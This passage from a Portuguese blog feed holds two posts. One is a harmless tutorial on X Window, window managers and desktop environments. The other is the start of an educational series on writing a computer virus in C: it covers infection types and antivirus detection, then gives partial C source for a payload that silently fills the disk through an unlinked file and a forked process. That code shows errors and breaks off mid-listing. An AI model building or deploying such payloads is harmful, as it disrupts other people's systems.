estabelece compatibilidade em nível de código fonte, e recompilações seriam necessárias, possivelmente em outras camadas além da que estivesse sendo substituída. Isso é exatamente o que chamamos de arquitetura modular.&lt;br /&gt;&lt;br /&gt;A vantagem desse tipo de arquitetura é exemplificado com o caso do servidor XFree86, que devido à uma mudança no licenciamento e outros problemas, já citados, fizeram com que a maioria dos desenvolvedores saíssem do projeto com o código anterior a mudança da licença e criassem o X.Org, gerido pela X.Org. Hoje em dia X.Org avança muito mais rápido que o XFree86 e é o padrão da maioria das distribuições, enquanto isso o XFree86 agoniza lentamente. A substituição não foi tecnicamente problemática pois os clientes continuavam fazendo suas solicitações via o protocolo X11.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;O funcionamento do X&lt;/span&gt;&lt;br /&gt;Como já mencionado, no X o servidor e cliente se comunicam via protocolo X11. O servidor desenha as informações no exibidor e repassam as informações recolhidas, como clique do mouse, ao cliente. Este por sua vez processa as informações recebidas e requisita ao servidor para que o resultado seja mostrado no exibidor. Veja a estrutura:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_UGGKVNwng_k/SdFBMNvqxNI/AAAAAAAAAAc/EO7udS2j81g/s1600-h/esquema.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 73px;" src="http://2.bp.blogspot.com/_UGGKVNwng_k/SdFBMNvqxNI/AAAAAAAAAAc/EO7udS2j81g/s320/esquema.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5319104313005098194" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Com isso podemos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Executar o X11 via SSH:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;$ ssh login@servidor -X&lt;br /&gt;&lt;br /&gt;Usando o parâmetro X no ssh habilitamos o modo X11 porém por uma solicitação criptografada.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Multihead:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O Incrível Computador de Duas Cabeças.&lt;br /&gt;&lt;br /&gt;Com dois ou mais monitores e placas de vídeo, na quantidade certa, podemos ter o resultado de uma aplicação executada em um cliente X mostrada de forma "configurável" em todos os monitores. Esse recurso é conhecido como Xinerama.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Múltiplos Servidores X:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Podemos rodar mais de um servidor X na mesma máquina. Essa forma é facilmente observada nas distribuições mais novas quando fazemos uso da opção "Logar como outro usuário". Neste caso, um novo servidor X é executado e sem deslogar o anterior ficando possível alternar entre os servidores.&lt;br /&gt;&lt;br /&gt;Podemos ainda ter servidores X dentro de outro servidor X, é o que se chama servidor aninhado. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Controladores de janelas x Ambiente desktop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Até o momento, estivemos tratando o ambiente gráfico do Linux como se fosse apenas o servidor X, mas na realidade o ambiente gráfico como conhecemos se divide em mais duas camadas, o Controlador de Janelas e o Ambiente Desktop.&lt;br /&gt;&lt;br /&gt;Atualmente, estamos acostumados com um padrão gráfico, ou melhor, um paradigma gráfico, que foi desenvolvido pela Xerox e que obteve muito sucesso, sendo copiado pela maioria, senão por todos os ambientes Desktops encontrados, o WIMP - Window, Icon, Menu, Pointing device (Janela, Ícone, Menu, Dispositivo de apontador).&lt;br /&gt;&lt;br /&gt;No Linux:&lt;br /&gt;&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;*&lt;/span&gt; o Servidor X cuida apenas do Dispositivo de apontador, do WIMP ( além do vídeo, teclado e mouse).&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;*&lt;/span&gt; o Gerenciador de Janelas cuida de toda a lógica referente a janela, como: arrastar, redimensionar, minimizar, não deixar redimensionar bordas fixas etc.&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;*&lt;/span&gt; o Ambiente Desktop, por sua vez abstrai, através de ícones e Menus. &lt;br /&gt;&lt;br /&gt;Para ilustrarmos o funcionamento das três camadas, vamos imaginar a execução de um programa através de dois cliques dado no ícone.&lt;br /&gt;&lt;br /&gt;O Servidor X captura os cliques e passa adiante, para quem for responsável, isso não o importa para ele. Neste caso o responsável foi o Ambiente Desktop que abstraiu a execução da aplicação em um ícone, ele então, entende o clique realiza a execução da aplicação, porém a solicitação de execução da aplicação poderia ser feita por uma linha de comando no shell. Ao criar a janela, o gerenciador de janelas passa a gerenciá-la. Nem a aplicação, nem o Servidor X querem saber quem vai tratar o gerenciamento da janela, nem se alguém vai tratar. A aplicação estará preocupada com o que ela se destina a fazer, já o Servidor X está preocupado em desenhar na tela, onde pedirem.&lt;br /&gt;&lt;br /&gt;Logo, quando a janela é arrastada, o Gerenciador de Janelas solicita ao Servidor X que redesenhe a janela em várias posições diferentes, apagando sempre o desenho anterior, dando a sensação de movimento. Porém, o Gerenciador de Janelas poderia pedir que ao X que desenhasse apenas quando chegasse ao destino, ou poderia não ter gerenciador de janela, fazendo com que a janela não pudesse ser movida.&lt;br /&gt;&lt;br /&gt;Um gerenciador de janelas, normalmente, não oferece abstração para ícones e menus, eles esperam que o Ambiente Desktop faça esse trabalho, porém nada impede que sejam criados Gerenciadores de Janelas como o Fluxbox e Enlightenment, que foram feitos para não necessitarem de nenhum componente superior.&lt;br /&gt;&lt;br /&gt;As imagens abaixo mostram a Ambiente Desktop GNOME, que veremos mais tarde, exibindo uma janela do Iceweasel.&lt;br /&gt;&lt;br /&gt;Na primeira imagem o Gerenciador de Janelas metacity está em execução. Note que a janela apresenta a barra de título, os botões de controle, bordas etc. Todas estas funcionalidades existem pois o metacity está controlando-as.&lt;br /&gt;&lt;br /&gt;Na segunda imagem temos o mesmo ambiente, porém o processo do metacity foi destruído, logo, não há mais um Gerenciador de Janelas sendo executado. Note que todas as funcionalidades referentes ao Gerenciador de Janelas deixou de existir.&lt;br /&gt;&lt;br /&gt;Em ambos os casos, o Servidor X, neste caso o Xorg, e o ambiente Desktop, o GNOME, estão em execução.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_UGGKVNwng_k/SdFBxd40V4I/AAAAAAAAAAk/fq2RqT5-tso/s1600-h/thumb_comMetacity.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_UGGKVNwng_k/SdFBxd40V4I/AAAAAAAAAAk/fq2RqT5-tso/s320/thumb_comMetacity.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5319104952993601410" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_UGGKVNwng_k/SdFCDx99pPI/AAAAAAAAAAs/e2zcp2BuW5k/s1600-h/thumb_SemMetacity.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_UGGKVNwng_k/SdFCDx99pPI/AAAAAAAAAAs/e2zcp2BuW5k/s320/thumb_SemMetacity.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5319105267621537010" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Como foi mostrado, o Ambiente Desktop é algo bastante abstrato. Ele é formado por um conjunto de bibliotecas, serviços muito bem integrados e disponibilizado de forma agradável para utilização dos usuários. Porém, isso tem um custo. O desempenho da máquina é diminuindo de forma sensível. Isso faz com que usuários mais hardcore prefiram usar Gerenciadores de Janelas como, os já citados, Fluxbox e Enlightenment.&lt;br /&gt;&lt;br /&gt;Os GNOME, KDE, XFCE, XPde, WindowMaker e IceWM são exemplos de Ambiente Desktop bastante usado no Linux. O XFCE, por exemplo, embora seja bem modesto, também é muito leve, contudo, traz muito mais funcionalidade que qualquer Gerenciador de Janelas, isso o torna uma opção bastante interessante para usuários de máquinas mais modestas.&lt;br /&gt;&lt;br /&gt;Recentemente a Novell liberou o servidor XGL que usa a aceleração 3D da placa de vídeo para fazer efeitos maravilhosos. Graças a essa independência dos pacotes, esses efeitos podem ser vistos em qualquer Desktop (GNOME, KDE, XFCE, XPde, WindowMaker, IceWM etc) e qualquer Gerenciador de Janelas (metacity, fluxbox, enlightenment etc), pois o XGL é um Servidor X (que segue o padrão X11), logo ele é transparente as camadas superiores. Além do XGL, existe também o AIGLX da X.Org.&lt;br /&gt;&lt;br /&gt;Percebam a modularização, essa independência das camadas do "Linux" (aqui entre aspas pois me refiro ao Linux de uma forma mais abrangente ainda do que vinha tratando) é um dos motivos que levam cada dia mais o "Linux" ganhar não usuários, mas amantes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Brincado com as camadas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Veremos, praticando, o funcionamento das três camadas vistas neste artigo. Para isso, será usada a instalação Desktop básica de uma distribuição Debian, os testes poderão ser feitos usando o Ambiente Gráfico de qualquer distribuição, levando em consideração - é claro - suas diferenças.&lt;br /&gt;&lt;br /&gt;De todas as três camadas; Servidor X, Gerenciador de Janelas e Ambiente Desktop; o único processo que não será parado é o Servidor X, pois se este for destruído, torna-se impossível utilizarmos a parte gráfica da distribuição.&lt;br /&gt;&lt;br /&gt;Nestes exemplos usaremos o XOrg como Servidor X, o metacity como Gerenciador de Janelas e o GNOME como Ambiente Desktop.&lt;br /&gt;&lt;br /&gt;Você poderá instalá-los usando (para usuários do Debian):&lt;br /&gt;&lt;br /&gt;# apt-get install xorg metacity gnome&lt;br /&gt;&lt;br /&gt;Na seção de login, use a seção Terminal de segurança, abrirá um terminal em um ambiente gráfico. Neste momento, apenas o XOrg (servidor X) estará rodando.&lt;br /&gt;&lt;br /&gt;Digite no terminal:&lt;br /&gt;&lt;br /&gt;$ ps -ax&lt;br /&gt;&lt;br /&gt;Veja que não há ocorrência do Gerenciador de Janelas (metacity) e nem do Ambiente Desktop (gnome).&lt;br /&gt;&lt;br /&gt;Apenas com o Servidor X ativo, digite:&lt;br /&gt;&lt;br /&gt;$ xcalc &amp;&lt;br /&gt;$ gimp &amp;&lt;br /&gt;&lt;br /&gt;Você terá seguinte tela.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_UGGKVNwng_k/SdFCZfOjQxI/AAAAAAAAAA0/hk7NikQfYzI/s1600-h/thumb_x.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_UGGKVNwng_k/SdFCZfOjQxI/AAAAAAAAAA0/hk7NikQfYzI/s320/thumb_x.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5319105640547959570" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tente mover ou redimensionar a janela, verá que não é possível.&lt;br /&gt;&lt;br /&gt;Note que as janelas estão sem a barra de título, os botões de controle etc. Isso se deve pelo fato de que o Gerenciador de Janelas não está ativo. Também não há a barra de menu do gnome, controle de volume etc, afinal, o Ambiente Desktop também não está ativo.&lt;br /&gt;&lt;br /&gt;Ativaremos então, o Gerenciador de Janelas. Digite no terminal:&lt;br /&gt;&lt;br /&gt;$ metacity &amp;&lt;br /&gt;&lt;br /&gt;Obs.: Caso não consiga passar o foco para o terminal, feche o gimp (pois o gimp prende o foco em sua janela) execute o metacity e depois o gimp novamente.&lt;br /&gt;&lt;br /&gt;Agora o seguinte ambiente será mostrado.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_UGGKVNwng_k/SdFCuM0b1xI/AAAAAAAAAA8/4FoF3kZ6zCU/s1600-h/thumb_1211523118.xmetacity.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_UGGKVNwng_k/SdFCuM0b1xI/AAAAAAAAAA8/4FoF3kZ6zCU/s320/thumb_1211523118.xmetacity.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5319105996383835922" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Note que agora, como o metacity, as janelas já apresentam sua funcionalidades, apesar do Ambiente Desktop ainda não estar ativo.&lt;br /&gt;&lt;br /&gt;Então, ativaremos o Ambiente Desktop. Digite no terminal:&lt;br /&gt;&lt;br /&gt;$ gnome &amp;&lt;br /&gt;&lt;br /&gt;Teremos agora o ambiente que estamos acostumados com o Servidor X, Gerenciador de Janelas e Ambiente Desktop.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_UGGKVNwng_k/SdFC8A486qI/AAAAAAAAABE/KI4ldZrl7iQ/s1600-h/thumb_xmetacitygnome.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_UGGKVNwng_k/SdFC8A486qI/AAAAAAAAABE/KI4ldZrl7iQ/s320/thumb_xmetacitygnome.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5319106233699723938" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Faltou vermos o Ambiente Desktop redando direto sobre o Servidor X, sem um Gerenciador de Janelas entre eles. Então, mate o processo metacity. Digite no terminal:&lt;br /&gt;&lt;br /&gt;$ ps -ax | grep metacity&lt;br /&gt;&lt;br /&gt;Anote o número do processo do metacity e:&lt;br /&gt;&lt;br /&gt;$ kill -9 &lt;n° do processo&gt;&lt;br /&gt;&lt;br /&gt;ou digite no terminal:&lt;br /&gt;&lt;br /&gt;$ exit&lt;br /&gt;&lt;br /&gt;Logue novamente na seção Terminal de segurança. No terminal digite:&lt;br /&gt;&lt;br /&gt;$ gnome &amp;&lt;br /&gt;$ xcalc &amp;&lt;br /&gt;$ gimp &amp;&lt;br /&gt;&lt;br /&gt;Teremos então a seguinte tela:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_UGGKVNwng_k/SdFDIOwDpYI/AAAAAAAAABM/jnaxk3M1SE4/s1600-h/thumb_xgnome.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_UGGKVNwng_k/SdFDIOwDpYI/AAAAAAAAABM/jnaxk3M1SE4/s320/thumb_xgnome.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5319106443578942850" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Espero ter esclarecido algumas dúvidas com relação ao assunto proposto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-181470728934851482?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/181470728934851482/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/03/x-window-controladores-de-janelas-e.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/181470728934851482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/181470728934851482'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/03/x-window-controladores-de-janelas-e.html' title='X Window, Controladores de Janelas e Ambientes Desktop'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_UGGKVNwng_k/SdFAyJsgqaI/AAAAAAAAAAU/ibe41DPbnjI/s72-c/camadas.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-4394685698242552196</id><published>2009-03-27T14:51:00.000-07:00</published><updated>2009-05-04T10:10:10.790-07:00</updated><title type='text'>Vírus de computador e criação de um vírus em C/C++ (parte 1 - básico)</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=75d89cc7" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Revirando meus materiais antigos encontrei um disquete, ainda funcionando, que continha um vírus criado no início de minha vida na informática. O código original estava em Pascal e foi criado para funcionar em DOS/Windows. Fiz algumas modificações, reescrevendo o código em C e adaptando seu funcionamento&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Motivação &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Antes de tudo, queria deixar claro que o intuito não é fazer com que as pessoas passem a prejudicar outras. A idéia é didática, apresentar teorias e códigos bastante interessantes que possam ser utilizados por programadores em suas criações.&lt;br /&gt;&lt;br /&gt;O código foi encontrado em um de meus disquetes antigos, que ainda encontrava-se guardado e estava prestes a ser descartado, porém ao ver seu conteúdo, lembrei do quanto me foi edificador criá-lo.&lt;br /&gt;&lt;br /&gt;O vírus é um resquício do início da minha vida na informática e achei que seria interessante divulgá-lo. Como se trata de um código escrito quando eu era iniciante nesta área, provavelmente não apresentará nada de novo a programadores mais experientes, sendo destinado a iniciantes.&lt;br /&gt;&lt;br /&gt;O original foi escrito em Pascal para funcionar em DOS/Windows. Para apresentá-lo a uma comunidade voltada para Linux, resolvi fazer algumas alterações, rescrevendo o código em C e fazendo adaptações para que funcione em Linux.&lt;br /&gt;&lt;br /&gt;Essas alterações trazem algumas conseqüências, como perda de funcionalidade. O vírus funcionava muito bem em DOS/Windows, porém em Linux, com sua proteção multi-usuário e com um kernel bastante robusto, fica muito difícil manter a eficiência do original, sendo assim, não causará maiores transtornos a usuários mais experientes.&lt;br /&gt;&lt;br /&gt;Por exemplo, a infecção em um sistema DOS/Windows é teoricamente fácil, basta infectar um arquivo .exe ou .com e pronto. Porém no Linux, é diferente. Primeiro, o que define se um arquivo é executável ou não, não é a extensão e sim o atributo do arquivo, e mesmo que um arquivo esteja com o atributo de executável ele não poderá ser um script, tem que ser binário.&lt;br /&gt;&lt;br /&gt;E mesmo um arquivo executável e binário tem que dar permissão de escrita ao vírus. Sendo assim, só a parte de infecção faz com que o vírus cresça em muito de tamanho, pois é muito mais complexo encontrar quem poderá ser infectado, sendo possível não encontrar ninguém.&lt;br /&gt;&lt;br /&gt;O exemplo citado já diminui em muito a eficiência de um vírus, pois um dos princípios básicos de um vírus é que ele tem que ser pequeno. Por motivo de tamanho é que os vírus são escritos em Assembly - de preferência, em C/C++ ou no máximo em Pascal. Pelo menos era assim quando eu comecei a estudá-los.&lt;br /&gt;&lt;br /&gt;Além da dificuldade imposta pela plataforma, o código também, encontra-se "há anos luz" de vírus mais sofisticados e modernos que contam até com AI (Inteligência Artificial).&lt;br /&gt;&lt;br /&gt;Mas isso não incomoda, já que, como mencionei, a proposta não é ensinar a criar um código destrutor e sim apresentar conceitos e códigos de algo tão fascinante que é um vírus, além de estar gostando, apesar de nostálgico, recordar o início de tudo...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introdução&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Normalmente, qualquer problema que aconteça com o computador durante sua operação é atribuído ao vírus (referência quase que exclusiva dos usuários Windows), mesmo que o problema se de por inexperiência do usuário ou mal funcionamento do sistema.&lt;br /&gt;&lt;br /&gt;Todos sabemos da dificuldade dos usuários de se adaptarem a novos sistemas ou atualizações - novos paradigmas, novos botões, novas funcionalidades. Também é sabido da existência de defeitos nos softwares, principalmente no caso de versões recém lançadas, normalmente as versões X.0.&lt;br /&gt;&lt;br /&gt;Qualquer um que atualize ou instale programas recém lançados se arriscam a ter problemas, normalmente as versões X.01 são correções de defeitos encontrados nas versões X.0. De acordo com pesquisa feita pela PC Magazine, 50% dos prejuízos em softwares são causados pelos motivos citados e não por ação de um vírus de computador.&lt;br /&gt;&lt;br /&gt;Um vírus de computador é um programa capaz de infectar outro programa, através de uma modificação deste incluindo uma cópia de si mesmo no código original. Por isso o nome de vírus, uma analogia ao vírus biológico que transforma as células em fábricas de cópias do vírus original.&lt;br /&gt;&lt;br /&gt;Para o usuário em geral, qualquer programa que apague dados ou atrapalhe o funcionamento de sua máquina é chamado de vírus. Para um programador, um vírus é algo bastante interessante, pois, se trata de um programa altamente sofisticado, capaz de tomar decisões, funcionar em diversos tipos de máquinas além de apresentar índices mínimos de problemas ou mal funcionamento.&lt;br /&gt;&lt;br /&gt;Stephen Hawking se referiu ao vírus de computador como a primeira forma de vida criada pelo homem, pois podem se reproduzir e garantir sua sobrevivência sem a interferência do homem. Fato que faz com que muitos vírus existam até hoje, vários anos após sua criação.&lt;br /&gt;&lt;br /&gt;Para muitos cientistas, a reprodução e a manutenção da sobrevivência são princípios básicos para que um organismo seja descrito como vivo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Modus Operandi&lt;/span&gt;&lt;br /&gt;Basicamente, o vírus pode infectar um computador de três formas:&lt;br /&gt;&lt;br /&gt;1) vírus de disco - infectam o setor de boot do disco, parte responsável pela manutenção dos arquivos no HD. Funcionam como uma tabela de índice contendo a posição de cada arquivo gravado em disco; neste caso, qualquer operação feita com o arquivo - gravar, carregar etc - pode ativar o vírus que por sua vez fará uma copia de si mesmo para outra unidade e assim sucessivamente. Esse tipo de vírus atualmente não é muito comum, mas no passado era bastante criado pelos desenvolvedores.&lt;br /&gt;&lt;br /&gt;2) vírus de arquivo - infectam arquivos executáveis. Eles se copiam para o início ou fim destes. Dessa forma, ao carregar um programa, código do vírus é executado, esse cumpre sua função e pula para o início do código do executável desejado, dando assim continuidade ao seu processo.&lt;br /&gt;&lt;br /&gt;3) vírus mult-partite - bastante sofisticados, infectam tanto o setor de boot quanto arquivos executáveis.&lt;br /&gt;&lt;br /&gt;Uma exceção é o DIR-II - Vírus deste tipo alteram a tabela de arquivos de forma a serem chamados antes dos programas a serem executados. Não são, nem propriamente dito, como "vírus de boot", "de arquivos" e muito menos "mult-partite".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Quanto a detecção&lt;/span&gt;&lt;br /&gt;Um vírus, como todo o dado armazenado em disco ocupa espaço. No caso de vírus de arquivo, mesmo que seja criado em linguagem de montagem (Assembly), ocupando um espaço mínimo este "aumenta o tamanho do arquivo".&lt;br /&gt;&lt;br /&gt;Ao copiar-se para dentro de um programa, duas coisas aconteciam: (I) o executável mudava de tamanho e (II) a data de gravação também era alterada.&lt;br /&gt;&lt;br /&gt;Existiam vírus que infectavam arquivos já infectados, fazendo com que estes aumentassem de tamanho a cada execução, chegando a se auto infectar até tamanho absurdos.&lt;br /&gt;&lt;br /&gt;Esse tipo de infecção era facilmente identificada por usuários mais atentos, pois um simples ls -l mostrava a alteração do tamanho e da data em arquivos infectados.&lt;br /&gt;&lt;br /&gt;Passou-se então a fazer vírus que reconheciam suas cópias em executáveis, fazendo com que estes não infectassem arquivos já infectados. Neste caso, anti-vírus mais simples conseguia, identificá-los executando os programas e comparando a data de criação antes e pós execução.&lt;br /&gt;&lt;br /&gt;Posteriormente, os vírus passaram a alterar a data de gravação dos hospedeiro (arquivo infectado) além de não se auto infectar. Com isso, tornou-se praticamente impossível a detecção pelo usuário sem a ajuda de um anti-vírus.&lt;br /&gt;&lt;br /&gt;Para esses tipos de vírus, os mais comuns atualmente, o anti-vírus passou a manter uma base de dados com características dos vírus, então eles buscam essas características dentro dos arquivos, vasculhando todo seu conteúdo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Como funciona um anti-vírus&lt;/span&gt;&lt;br /&gt;Muita gente desconhece o funcionamento, mas um anti-vírus trabalha levando as considerações acima, basicamente de três formas:&lt;br /&gt;&lt;br /&gt;1) vigiando a memória do micro e identificando a ação de qualquer novo programa.&lt;br /&gt;&lt;br /&gt;2) mantendo um arquivo com as características dos arquivos antes da infecção, assim, qualquer alteração que o arquivo original sofra é identificado.&lt;br /&gt;&lt;br /&gt;3) o mais comum: abrindo cada um dos arquivos possíveis de infecção e examinando o código do programa. Lembrando que eles mantém uma base de dados com o código ou parte do código dos vírus que eles conseguem identificar.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Porque os vírus são escritos&lt;/span&gt;&lt;br /&gt;O vírus de computador sempre causa curiosidade. Quando fizeram esta pergunta em uma convenção de produtores de vírus e hackers, na Argentina, a resposta foi:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;- Because it's fun!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Ação do vírus&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A ação do vírus foi posta em um tópico separado, pois é muito vasta, depende da criatividade do programador, podendo ir de uma bolinha passeando pela tela a destruição total do HD.&lt;br /&gt;&lt;br /&gt;Foram escolhidas quatro ações que não destruirão seu sistema, elas apenas travam o sistema e uma simples reinicialização bastará para que tudo volte a funcionar perfeitamente. Porém não esperaremos chegar a esse ponto.&lt;br /&gt;&lt;br /&gt;As quatro ações travam o sistema pois: (I) a primeira enche o HD, (II) a segunda lota a memória, (III) terceira cria vários processos de si mesmo e o (IV) quarto faz muitos pedidos ao host.&lt;br /&gt;&lt;br /&gt;Todos os quatro exemplos poderão funcionar como programas a serem testados, porém, ao ser incluído no código do vírus, apenas as funções acao serão utilizadas.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exemplo 1&lt;/span&gt;&lt;br /&gt;O primeiro exemplo lota o HD com bagaço: cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.&lt;br /&gt;&lt;br /&gt;O fonte está publicado para download &lt;a href="http://www.vivaolinux.com.br/scripts/userview.php?login=grj_rj"&gt;aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;/* progacao1.c */&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;acao()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int ifd;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *buf=("1","2","3","4","5","6","7","8","9","0");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long c;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int desc;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(1); /* fecha a saída padrão, o vídeo */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saída será armazenados em desc */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;unlink("./lotaHD"); /* apaga o arquivo */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Não poderia ser uma thread, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;O processo filho que foi criado é quem deve se encarregar da execução da ação, o 